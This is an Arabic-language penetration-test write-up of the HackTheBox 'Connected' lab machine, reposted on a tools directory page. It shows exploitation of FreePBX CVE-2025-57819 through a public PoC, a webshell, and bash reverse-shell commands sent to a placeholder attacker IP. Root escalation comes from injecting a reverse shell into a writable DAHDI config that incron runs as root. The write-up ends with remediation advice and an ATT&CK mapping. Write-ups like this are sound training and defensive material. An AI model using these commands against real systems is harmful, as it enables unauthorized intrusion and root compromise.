Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
HackTheBox-Connected — تفصيل كتابة اختبار الاختراق لجهاز HackTheBox 'Connected'، يغطي استغلال ثغرة FreePBX CVE-2025-57819 (حقن SQL إلى تنفيذ أوامر عن بُعد) وتصعيد الامتيازات عبر سوء تكوين incron إلى صلاحيات الجذر. | Kitploit
أدوات/GitHubGitHub/ikmalhanaan/hackthebox-connected
تصعيد الامتيازاتالاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليم

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
ikmalhanaan/hackthebox-connected

HackTheBox-Connected

تفصيل كتابة اختبار الاختراق لجهاز HackTheBox 'Connected'، يغطي استغلال ثغرة FreePBX CVE-2025-57819 (حقن SQL إلى تنفيذ أوامر عن بُعد) وتصعيد الامتيازات عبر سوء تكوين incron إلى صلاحيات الجذر.

عرض المستودع
منذ 14 أياملم تتم المراجعة بعد

HTB Connected Completed Banner

Hack The Box: Connected — تقرير اختبار الاختراق الاحترافي


📋 الملخص التنفيذي

Connected هو جهاز Linux يعمل بنظام CentOS ويشغّل نظام اتصالات VoIP FreePBX v16.0.40.7 المتكامل مع Asterisk.

يتكوّن مسار الاستغلال (Attack Vector / Kill Chain) من مرحلتين رئيسيتين:

  1. الوصول الأولي: استغلال الثغرة الحرجة CVE-2025-57819 (تجاوز المصادقة وحقن SQL غير المصادق عليه مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد / RCE) في FreePBX لزرع ويب شيل والحصول على صدفة عكسية كمستخدم الخدمة asterisk.
  2. تصعيد الامتيازات إلى الجذر: تدقيق إعدادات النظام المحلي واكتشاف الخفي incron (inotify cron) الذي يراقب ملفات spool. يُطلق هذا المشغّل تنفيذ سكربت الجذر /usr/sbin/sysadmin_dahdi_restart عند حدوث كتابة إلى الملف /var/spool/asterisk/sysadmin/dahdi_restart. نظرًا لأن ملف إعدادات DAHDI /etc/dahdi/init.conf قابل للكتابة من قبل المستخدم asterisk، يتم تنفيذ حقن حمولة الصدفة العكسية في ملف الإعدادات هذا تلقائيًا بصلاحيات root (uid=0).

📑 جدول المحتويات

  1. معلومات الجهاز وبيئة الاختبار
  2. المرحلة 1: الاستطلاع وفحص المنافذ
  3. المرحلة 2: تعداد الويب وتحديد الثغرات
  4. المرحلة 3: الوصول الأولي (استغلال CVE-2025-57819)
  5. المرحلة 4: ما بعد الاستغلال وتصعيد الامتيازات (نحو الجذر)
  6. المرحلة 5: تحليل السبب الجذري وتوصيات التخفيف (التحصين)
  7. ربط MITRE ATT&CK

1. معلومات الجهاز وبيئة الاختبار


2. المرحلة 1: الاستطلاع وفحص المنافذ

تبدأ الخطوة الأولى في اختبار الاختراق بإجراء استطلاع نشط باستخدام nmap لتحديد المنافذ المفتوحة والخدمات قيد التشغيل وإصدارات النظام.

2.1 تشغيل فحص Nmap شامل

root@kitploit:~
mkdir -p recon
nmap -T4 -sC -sV <IP_TARGET> -oA recon/nmap_quick

شرح خيارات Nmap:

  • -T4: ضبط قالب التوقيت العدواني لفحص أسرع وأكثر كفاءة.
  • -sC: تشغيل مجموعة سكربتات NSE الافتراضية لاكتشاف الثغرات الأساسية.
  • -sV: تفعيل اكتشاف الخدمة والإصدار على كل منفذ يستجيب.
  • -oA recon/nmap_quick: حفظ جميع تنسيقات الإخراج (القياسي، القابل للبحث، XML) في دليل recon.

2.2 نتائج تحليل المنافذ والخدمات

root@kitploit:~
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for <IP_TARGET>
Host is up (0.25s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
|   256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_  256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp  open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open  ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after:  2026-11-30T14:07:27
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16

Nmap Scan Result

2.3 النتائج الرئيسية من الفحص:

  1. المنفذ 22 (SSH): يستخدم OpenSSH الإصدار 7.4 (نموذجي لأنظمة CentOS 7).
  2. المنفذان 80 و443 (HTTP/HTTPS): يستخدمان خادم الويب Apache 2.4.6 مع بيئة تشغيل PHP 7.4.16. يستجيب خادم الويب بإعادة توجيه HTTP إلى النطاق http://connected.htb/.

3. المرحلة 2: تعداد الويب وتحديد الثغرات

3.1 إعداد تعيين DNS المحلي

نظرًا لأن خادم الويب يطبّق الاستضافة الافتراضية ويوجّه حركة المرور إلى connected.htb، نحتاج إلى إضافة دقة اسم المضيف المحلي إلى /etc/hosts:

root@kitploit:~
echo "<IP_TARGET> connected.htb" | sudo tee -a /etc/hosts

3.2 بصمة تطبيق الويب (FreePBX)

يُظهر الوصول إلى الرابط http://connected.htb/admin/config.php عبر المتصفح واجهة إدارة VoIP المستندة إلى الويب:

FreePBX Web Interface

من تذييل صفحة الويب، تم الحصول على معلومات الإصدار المحددة:

root@kitploit:~
FreePBX is a registered trademark of Sangoma Technologies Inc.
FreePBX 16.0.40.7 is licensed under the GPL
Copyright© 2007-2026
  • التطبيق: FreePBX Administration
  • الإصدار: 16.0.40.7
  • البائع: Sangoma Technologies Inc.

4. المرحلة 3: الوصول الأولي (استغلال CVE-2025-57819)

4.1 تحليل الثغرة

الإصدار FreePBX 16.0.40.7 معرّض لثغرة CVE-2025-57819. هذه الثغرة هي حقن SQL قبل المصادقة تسمح لمهاجم بدون بيانات اعتماد (مهاجم غير مصادق) بالتلاعب بقاعدة البيانات الخلفية لـ FreePBX/Asterisk.

من خلال حقن SQL هذا، يمكن للمهاجم تعديل جدول مهام cron الداخلية لـ Asterisk (asterisk.cron_jobs) أو حقن كود PHP عشوائي في دليل خادم الويب (مما ينتج ويب شيل)، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE).

4.2 إعداد وتشغيل الاستغلال

استخدمنا PoC استغلال عام من WatchTowr Labs:

root@kitploit:~
# 1. استنساخ مستودع الاستغلال
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
cd watchTowr-vs-FreePBX-CVE-2025-57819

# 2. تشغيل سكربت الاستغلال ضد الهدف
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb

WatchTowr Exploit Execution

نتيجة تنفيذ الاستغلال: نجح السكربت في استغلال الهدف وإنشاء ويب شيل نشط على نقطة النهاية:

root@kitploit:~
http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php?cmd=<COMMAND>

4.3 الاتصال بالصدفة العكسية والحصول على علم المستخدم

للحصول على جلسة تفاعلية (صدفة عكسية)، اتبع الخطوات التالية:

  1. افتح مستمع Netcat على جهاز المهاجم:

    root@kitploit:~
    nc -lvnp 1212
    
  2. أرسل حمولة الصدفة العكسية عبر الويب شيل: أرسل حمولة الصدفة العكسية باستخدام curl مع معامل مرمّز بعنوان URL:

    root@kitploit:~
    curl -G "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php" \
      --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/1212 0>&1'"
    
  3. تم استلام اتصال الصدفة العكسية بنجاح: يصل الاتصال إلى مستمع nc ونحصل على وصول إلى صدفة تفاعلية كمستخدم asterisk.

Reverse Shell and User Flag

  1. الحصول على علم المستخدم:
    root@kitploit:~
    [asterisk@connected html]$ cat /home/asterisk/user.txt
    

5. المرحلة 4: ما بعد الاستغلال وتصعيد الامتيازات (نحو الجذر)

بعد الحصول على صلاحيات الوصول كمستخدم asterisk، الخطوة التالية هي إجراء التعداد الداخلي للبحث عن ناقل تصعيد الامتيازات إلى root.

5.1 تعداد الخفي ومراقب الملفات (incron)

قمنا بفحص إعدادات الخفي incron (جدول inotify cron)، وهي الخدمة التي تنفّذ الأوامر عند حدوث حدث في نظام الملفات (مثل تعديل ملف أو إنشاء ملف):

root@kitploit:~
[asterisk@connected html]$ cat /etc/incron.d/*

مخرجات إعداد Incron:

root@kitploit:~
/var/spool/asterisk/sysadmin/vpngat IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

تحليل قواعد Incron:

  • السطر: /var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
  • الآلية: كلما تم إغلاق الملف /var/spool/asterisk/sysadmin/dahdi_restart بعد عملية كتابة (IN_CLOSE_WRITE)، يقوم النظام تلقائيًا بتنفيذ السكربت /usr/sbin/sysadmin_dahdi_restart بصلاحيات root.

5.2 تحليل سكربت DAHDI وثغرة صلاحيات الملف القابل للكتابة

أظهر الفحص الإضافي للسكربت /usr/sbin/sysadmin_dahdi_restart أن السكربت يعيد تشغيل خدمة DAHDI (واجهة أجهزة Digium Asterisk) وينفّذ/يقوم بتحميل (source) ملف الإعدادات /etc/dahdi/init.conf.

أظهر فحص صلاحيات الملف /etc/dahdi/init.conf أن الملف قابل للكتابة من قبل المستخدم asterisk:

root@kitploit:~
ls -la /etc/dahdi/init.conf
# -rw-rw-r-- 1 root asterisk ... /etc/dahdi/init.conf

5.3 الاستغلال: حقن الحمولة وتشغيل حدث Incron

نظرًا لأن /etc/dahdi/init.conf يتم تنفيذه في سياق root عند إعادة تشغيل DAHDI، يمكننا إدراج أمر صدفة عكسية في ملف الإعدادات هذا، ثم تشغيل إعادة التشغيل عبر incron.

  1. افتح مستمعًا جديدًا على جهاز المهاجم (المنفذ 4545):

    root@kitploit:~
    nc -lvnp 4545
    

    Root Netcat Listener

  2. أدرج الصدفة العكسية في /etc/dahdi/init.conf:

    root@kitploit:~
    echo "bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/4545 0>&1'" >> /etc/dahdi/init.conf
    
  3. شغّل حدث Incron عبر الكتابة إلى ملف spool:

    root@kitploit:~
    echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
    

    Payload Injection & Trigger

5.4 صدفة الجذر والتقاط العلم

في غضون ثوانٍ من معالجة incron لحدث كتابة الملف، ينفّذ سكربت الجذر سطر الأوامر المُدرج وينتج اتصال صدفة عكسية باسم root (uid=0):

Root Shell and Flag

root@kitploit:~
[root@connected /]# id
uid=0(root) gid=0(root) groups=0(root)

[root@connected /]# whoami
root

[root@connected /]# cat /root/root.txt

6. المرحلة 5: تحليل السبب الجذري وتوصيات التخفيف (التحصين)


7. ربط MITRE ATT&CK


تم الاختراق بواسطة ikmalhanaan 🚀

تنزيل الأداة
المكوّنالمواصفات / الوصف
اسم الجهازConnected
نظام التشغيلLinux (CentOS / FreePBX Distro)
IP الهدف<IP_TARGET> (connected.htb)
IP المهاجم<IP_VPN_KITA> (واجهة VPN tun0)
الثغرة الحرجةCVE-2025-57819 (تجاوز مصادقة FreePBX وحقن SQL إلى RCE)
آلية تصعيد الامتيازاتخطأ في إعداد خطاف Incron Daemon + ملف /etc/dahdi/init.conf قابل للكتابة
الأدوات المستخدمةnmap, curl, python3, netcat (nc), bash, git
ناقل الضعفالتأثيرتوصيات المعالجة / التخفيف
حقن SQL قبل المصادقة في FreePBX (CVE-2025-57819)حرج — يسمح بتنفيذ RCE بدون مصادقة عبر حقن قاعدة البيانات.تحديث FreePBX إلى أحدث إصدار تصحيحي رسمي من Sangoma. تطبيق تحقق صارم من المدخلات بالإضافة إلى العبارات المجهزة / الاستعلامات ذات المعاملات على جميع نقاط نهاية API.
صلاحيات ملف غير آمنة (/etc/dahdi/init.conf)عالٍ — يمكن لمستخدم غير مخوّل (asterisk) تعديل ملف إعدادات يتم تنفيذه بواسطة الجذر.تقييد صلاحيات الملكية والكتابة لملف الإعدادات: chmod 644 /etc/dahdi/init.conf و chown root:root /etc/dahdi/init.conf.
تنفيذ الجذر التلقائي عبر Incronمتوسط/عالٍ — سكربت أتمتة الجذر يقوم بتحميل ملف إعدادات دون التحقق من السلامة.تدقيق جميع قواعد incron وسكربتات /usr/sbin/sysadmin_*. تجنب تحميل ملفات الإعدادات الديناميكية المعرّضة لتعديل غير الجذر.
التكتيكمعرف التقنيةاسم التقنيةالتطبيق على الجهاز
الاستطلاعT1595.002المسح النشط: فحص الثغراتفحص المنافذ والخدمات باستخدام nmap.
الوصول الأوليT1190استغلال التطبيق المواجه للعاماستغلال ثغرة CVE-2025-57819 على خادم ويب FreePBX.
التنفيذT1059.004مترجم الأوامر والسكربتات: Unix Shellتنفيذ أوامر bash للصدفة العكسية عبر الويب شيل وسكربت init.
الاستمرارية / تصعيد الامتيازاتT1053.003المهمة المجدولة/الوظيفة: Cronالاستفادة من خفي incron لتنفيذ مهام جذر تلقائية.
تصعيد الامتيازاتT1574.009اختطاف تدفق التنفيذ: اختطاف المسار/الإعداداتإدراج أوامر ضارة في ملف الإعدادات /etc/dahdi/init.conf.
الوصول إلى بيانات الاعتماد / الجمعT1005البيانات من النظام المحليقراءة العلمين user.txt و root.txt.